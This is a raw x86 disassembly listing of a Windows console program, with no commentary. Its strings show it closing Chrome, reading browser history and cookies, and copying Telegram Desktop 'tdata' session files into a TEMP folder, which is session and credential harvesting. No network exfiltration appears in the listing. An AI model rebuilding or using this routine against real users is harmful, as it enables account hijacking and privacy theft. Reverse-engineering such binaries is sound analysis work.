call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, dword [0x4feb38]
add ecx, 0xfffffffe
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x416040
mov eax, dword [str.Desktop_]
mov dword [ecx], eax
mov eax, dword [0x4e8d74]
mov dword [ecx + 4], eax
mov eax, dword [0x4e8d78]
mov dword [ecx + 8], eax
mov eax, dword [0x4e8d7c]
push 0
mov dword [ecx + 0xc], eax
sub esp, 0x18
mov eax, dword [0x4e8d80]
mov dword [ecx + 0x10], eax
mov ecx, esp
mov dword [ebp - 0x348], esp
push ecx
mov dword [0x4feb38], edx
mov byte [ebp - 0x349], 1
call fcn.00419390
sub esp, 0x18
mov byte [ebp - 4], 0x16
mov ecx, esp
push dword [0x4feb38]
call fcn.00418ba0
mov dl, byte [ebp - 0x349]
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x15
call fcn.00411af0
mov esi, dword [ebp - 0x224]
add esp, 0x34
mov edi, dword [ebp - 0x220]
cmp esi, edi
jne 0x416100
mov edx, dword [0x4feb38]
mov ecx, 0x4fc2b0
call fcn.00418fd0
mov edx, str._isnt_exist
mov ecx, eax
call fcn.00418fd0
mov edi, dword [ebp - 0x220]
mov esi, dword [ebp - 0x224]
cmp esi, edi
je 0x41618e
nop
push esi
lea ecx, [ebp - 0x248]
call fcn.00417b60
sub esp, 0x18
mov byte [ebp - 4], 0x17
mov ecx, esp
lea eax, [ebp - 0x248]
mov dword [ebp - 0x348], ecx
push eax
call fcn.00417b60
call fcn.004117d0
add esp, 0x18
test al, al
jne 0x416174
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x248]
call fcn.0040faa0
mov byte [ebp - 4], 0x18
cmp dword [eax + 0x14], 7
jbe 0x416151
mov eax, dword [eax]
mov edx, eax
mov ecx, 0x4fc2b0
call fcn.00418fd0
mov edx, 0x4e8a30
mov ecx, eax
call fcn.00418fd0
lea ecx, [ebp - 0x260]
call fcn.00402b60
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0x15
call fcn.00402b60
add esi, 0x18
cmp esi, edi
jne 0x416100
mov ecx, 0x4fc2b4
call fcn.00417e70
test eax, eax
jne 0x4161b4
mov eax, dword [0x4fc2b0]
push 0
push 2
mov ecx, dword [eax + 4]
add ecx, 0x4fc2b0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
call fcn.00410c60
lea ecx, [ebp - 0x224]
mov dword [ebp - 4], 0xffffffff
call fcn.00417700
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x4e76a1
call fcn.00418cf0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push 0x208
call fcn.004e328d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
add esp, 4
mov edx, str.Closing_browser...
mov dword [0x4feb44], eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
xorps xmm0, xmm0
mov dword [ebp - 0x264], 0
lea ecx, [ebp - 0x26c]
movq qword [ebp - 0x26c], xmm0
call fcn.00410fd0
mov dword [ebp - 4], 0x19
mov edx, str.Closing_isnt_needed:_CLOSECHROME_
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.00418fd0
push 0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___bool_]
mov edx, str.__processes_
mov ecx, eax
call fcn.00418fd0
mov ecx, dword [ebp - 0x268]
sub ecx, dword [ebp - 0x26c]
sar ecx, 2
push ecx
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_int_]
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x4e76a1
call fcn.00418cf0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push 0x208
call fcn.004e328d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
add esp, 4
mov edx, str.Reading_History_and_Cookies...
mov dword [0x4feb44], eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
lea ecx, [ebp - 0x358]
call fcn.00410fd0
mov ecx, dword [ebp - 0x358]
mov esi, dword [eax]
mov edi, dword [eax + 4]
test ecx, ecx
je 0x416344
mov eax, dword [ebp - 0x350]
sub eax, ecx
sar eax, 2
lea edx, [eax*4]
mov eax, ecx
cmp edx, 0x1000
jb 0x41631c
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41631c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.004e3227
add esp, 8
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x354], 0
mov dword [ebp - 0x350], 0
cmp esi, edi
jne 0x4167ba
push dword [0x4feb34]
lea ecx, [ebp - 0x248]
call fcn.00418ba0
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 0x1a
push eax
lea ecx, [ebp - 0x2fc]
call fcn.00417790
lea ecx, [ebp - 0x248]
call fcn.00402b60
push 0x48
lea eax, [ebp - 0x2b4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [ebp - 0x2f8]
add esp, 0xc
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0
test ecx, ecx
je 0x4163b9
lock inc dword [ecx + 4]
mov ecx, dword [ebp - 0x2f8]
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2b0], ecx
lea eax, [ebp - 0x2f4]
mov byte [ebp - 4], 0x1d
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00417b60
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x294]
call fcn.00417b60
mov eax, dword [ebp - 0x2c4]
mov ecx, dword [ebp - 0x2c0]
mov dword [ebp - 0x27c], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x278], ecx
mov ecx, dword [ebp - 0x2b8]
mov dword [ebp - 0x274], eax
mov dword [ebp - 0x270], ecx
push 0x48
lea eax, [ebp - 0x344]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 4
mov byte [ebp - 4], 0x20
call fcn.004e3258
add esp, 0xc
lea ecx, [ebp - 0x344]
mov dword [eax], 0
push eax
call fcn.00419970
xorps xmm0, xmm0
mov dword [ebp - 0x32c], 0
xor eax, eax
mov dword [ebp - 0x328], 7
movups xmmword [ebp - 0x33c], xmm0
lea ecx, [ebp - 0x324]
mov word [ebp - 0x33c], ax
call fcn.004101b0
mov byte [ebp - 4], 0x21
nop dword [eax]
mov eax, dword [ebp - 0x2b4]
test eax, eax
je 0x4164aa
mov ecx, dword [ebp - 0x344]
test ecx, ecx
je 0x4164b7
mov eax, dword [eax]
cmp eax, dword [ecx]
jmp 0x4164b1
cmp dword [ebp - 0x344], 0
je 0x4166f5
lea eax, [ebp - 0x384]
push eax
lea ecx, [ebp - 0x294]
call fcn.0040faa0
mov dword [ebp - 0x350], eax
mov byte [ebp - 4], 0x22
mov esi, dword [0x4feb34]
lea ecx, [esi + 2]
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4164e0
sub esi, ecx
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x294]
sar esi, 1
call fcn.0040faa0
mov byte [ebp - 4], 0x23
mov edi, dword [eax + 0x10]
sub edi, esi
mov esi, dword [0x4feb34]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x416513
sub esi, ecx
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x294]
sar esi, 1
call fcn.0040faa0
mov ecx, eax
mov byte [ebp - 4], 0x24
mov edx, dword [0x4feb34]
lea eax, [edx + 2]
mov dword [ebp - 0x368], eax
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x416550
sub edx, dword [ebp - 0x368]
mov eax, dword [ecx + 0x10]
sar edx, 1
cmp dword [ecx + 0x14], 7
jbe 0x41656e
mov ecx, dword [ecx]
push edx
push dword [0x4feb34]
mov edx, eax
push ecx
call fcn.00419dd0
mov ecx, dword [ebp - 0x350]
add esp, 0xc
add eax, esi
push edi
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.00417a90
mov esi, eax
cmp esi, 0x4fc298
je 0x4165d4
mov ecx, 0x4fc298
call fcn.00402b60
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [0x4fc298], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x4fc2a8], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x248]
call fcn.00402b60
lea ecx, [ebp - 0x260]
call fcn.00402b60
lea ecx, [ebp - 0x230]
call fcn.00402b60
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 0x21
call fcn.00402b60
sub esp, 0x28
lea eax, [ebp - 0x294]
mov esi, esp
mov ecx, esi
mov dword [ebp - 0x350], esi
push eax
call fcn.00417b60
mov eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0x278]
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], ecx
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x270]
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], ecx
call fcn.00414a90
mov esi, esp
lea eax, [ebp - 0x294]
push eax
mov ecx, esi
mov dword [ebp - 0x350], esi
call fcn.00417b60
mov eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0x278]
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], ecx
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x270]
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], ecx
call fcn.00414d50
mov eax, dword [ebp - 0x2b4]
add esp, 0x28
mov eax, dword [eax]
test eax, eax
je 0x416490
lea ecx, [ebp - 0x348]
push ecx
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.MSVCP140.dll__Read_dir]
add esp, 0xc
cmp word [eax], 0
jne 0x4166d8
mov eax, dword [ebp - 0x2b4]
push dword [eax]
call dword [sym.imp.MSVCP140.dll__Close_dir]
mov eax, dword [ebp - 0x2b4]
add esp, 4
mov dword [eax], 0
jmp 0x416490
push dword [ebp - 0x348]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x2b4]
call fcn.00418000
jmp 0x416490
lea ecx, [ebp - 0x324]
call fcn.00402b60
lea ecx, [ebp - 0x33c]
call fcn.00402b60
mov edi, dword [ebp - 0x340]
or esi, 0xffffffff
test edi, edi
je 0x416737
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x416737
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
mov eax, esi
lock xadd dword [edi + 8], eax
jne 0x416737
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
lea ecx, [ebp - 0x294]
call fcn.00402b60
lea ecx, [ebp - 0x2ac]
call fcn.00402b60
mov edi, dword [ebp - 0x2b0]
test edi, edi
je 0x416776
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x416776
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
mov eax, esi
lock xadd dword [edi + 8], eax
jne 0x416776
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 0x19
call fcn.00402b60
lea ecx, [ebp - 0x2f4]
call fcn.00402b60
mov edi, dword [ebp - 0x2f8]
test edi, edi
je 0x4167d6
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x4167d6
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
lock xadd dword [edi + 8], esi
dec esi
jne 0x4167d6
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
jmp 0x4167d6
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Chrome_isnt_closed_
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x4e76a1
call fcn.00418cf0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push 0x208
call fcn.004e328d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
add esp, 4
mov edx, str.Copy_tdata...
mov dword [0x4feb44], eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push 0x104
push dword [0x4feb44]
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, dword [0x4feb44]
add edi, 0xfffffffe
lea edx, [edi + 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x416842
mov ecx, 9
mov dword [0x4feb44], edx
mov esi, str.Telegram_Desktop_
rep movsd dword es:[edi], dword [esi]
push 0
push edx
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Default_Telegram
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push 0x104
push dword [0x4feb40]
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, dword [0x4feb40]
add edi, 0xfffffffe
lea edx, [edi + 2]
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4168b0
mov ecx, 9
mov dword [0x4feb40], edx
mov esi, str.Telegram_Desktop_
mov edx, str.TDir:
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.00418fd0
mov edx, dword [0x4feb40]
mov ecx, eax
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push dword [0x4feb40]
lea ecx, [ebp - 0x248]
call fcn.00418ba0
lea ecx, [ebp - 0x248]
call fcn.004109f0
lea ecx, [ebp - 0x248]
mov byte [ebp - 0x349], al
call fcn.00402b60
cmp byte [ebp - 0x349], 0
je 0x416986
mov esi, dword [0x4feb40]
sub esp, 0x18
mov edx, esp
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
lea edi, [ecx + 2]
mov dword [edx + 0x14], 0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x416953
sub ecx, edi
sar ecx, 1
push ecx
push esi
mov ecx, edx
call fcn.004046f0
lea ecx, [ebp - 0x384]
call fcn.004125d0
add esp, 0x18
lea ecx, [ebp - 0x384]
call fcn.00402b60
jmp 0x4169a2
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.TDir_isnt_exists
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Telegram_from_registry
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
push 0x104
call fcn.004e328d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x348]
push eax
push 0
push 0
push str.tg_shellopencommand
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x416c8e
push eax
push esi
push eax
push eax
push eax
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x416c72
push esi
lea ecx, [ebp - 0x384]
call fcn.00419740
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0x25
push ecx
mov ecx, eax
call fcn.0040faa0
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 0x27
call fcn.00402b60
lea ecx, [ebp - 0x224]
call fcn.004115d0
mov byte [ebp - 4], 0x28
mov eax, dword [ebp - 0x220]
mov esi, dword [ebp - 0x224]
mov dword [ebp - 0x350], eax
cmp esi, eax
je 0x416ac9
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x248]
call fcn.00417b60
cmp dword [ebp - 0x234], 7
lea eax, [ebp - 0x248]
push dword [ebp - 0x238]
cmova eax, dword [ebp - 0x248]
lea ecx, [ebp - 0x260]
cmp dword [ebp - 0x24c], 7
mov edx, dword [ebp - 0x250]
cmova ecx, dword [ebp - 0x260]
push eax
push ecx
call fcn.00419c90
add esp, 0xc
lea ecx, [ebp - 0x248]
mov edi, eax
call fcn.00402b60
cmp edi, 0xffffffff
jne 0x416acf
add esi, 0x18
cmp esi, dword [ebp - 0x350]
jne 0x416a60
jmp 0x416acf
mov edi, dword [ebp - 0x348]
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x27
call fcn.00417700
cmp edi, 0xffffffff
je 0x416c61
cmp dword [ebp - 0x24c], 7
lea ecx, [ebp - 0x260]
mov esi, dword [ebp - 0x250]
mov edx, esi
cmova ecx, dword [ebp - 0x260]
push 4
sub esp, 8
call fcn.00419b30
mov ecx, eax
add esp, 0xc
cmp ecx, 0xffffffff
je 0x416c61
mov dword [ebp - 0x354], 0
xorps xmm0, xmm0
mov dword [ebp - 0x350], 0
movups xmmword [ebp - 0x364], xmm0
cmp esi, edi
jb 0x416d28
sub ecx, edi
lea eax, [ebp - 0x260]
add ecx, 3
sub esi, edi
cmp esi, ecx
cmovb ecx, esi
cmp dword [ebp - 0x24c], 7
push ecx
cmova eax, dword [ebp - 0x260]
lea ecx, [ebp - 0x364]
lea eax, [eax + edi*2]
push eax
call fcn.004046f0
xorps xmm0, xmm0
mov dword [ebp - 0x238], 0
xor eax, eax
mov dword [ebp - 0x234], 7
movups xmmword [ebp - 0x248], xmm0
mov word [ebp - 0x248], ax
movups xmmword [ebp - 0x230], xmm0
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x364]
cmp dword [ebp - 0x350], 7
mov eax, dword [ebp - 0x354]
cmova ecx, dword [ebp - 0x364]
add eax, eax
sar eax, 1
push eax
push ecx
lea ecx, [ebp - 0x230]
call fcn.004186e0
push eax
lea ecx, [ebp - 0x248]
call fcn.00418850
lea ecx, [ebp - 0x230]
call fcn.00402b60
lea ecx, [ebp - 0x364]
mov byte [ebp - 4], 0x2d
call fcn.00402b60
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea eax, [ebp - 0x384]
push eax
lea ecx, [ebp - 0x248]
call fcn.0040faa0
mov byte [ebp - 4], 0x2e
cmp dword [eax + 0x14], 7
mov ecx, dword [eax + 0x10]
jbe 0x416c32
mov eax, dword [eax]
push ecx
mov edx, eax
mov ecx, esi
call fcn.0041a9f0
add esp, 4
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
lea ecx, [ebp - 0x384]
call fcn.00402b60
lea ecx, [ebp - 0x248]
call fcn.00402b60
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0x19
call fcn.00402b60
jmp 0x416c8e
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Cannot_chack_registry
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, 0x4e76a1
call fcn.00418cf0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Work_is_complteted__Press_any_key_to_exit...
call fcn.00418fd0
mov edx, 0x4e86e8
mov ecx, eax
call fcn.00418cf0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getwchar]
mov edx, dword [ebp - 0x26c]
test edx, edx
je 0x416d0b
mov ecx, dword [ebp - 0x264]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x416d01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x416d01
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004e3227
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e3214
mov esp, ebp
pop ebp
ret
call fcn.004186d0
int3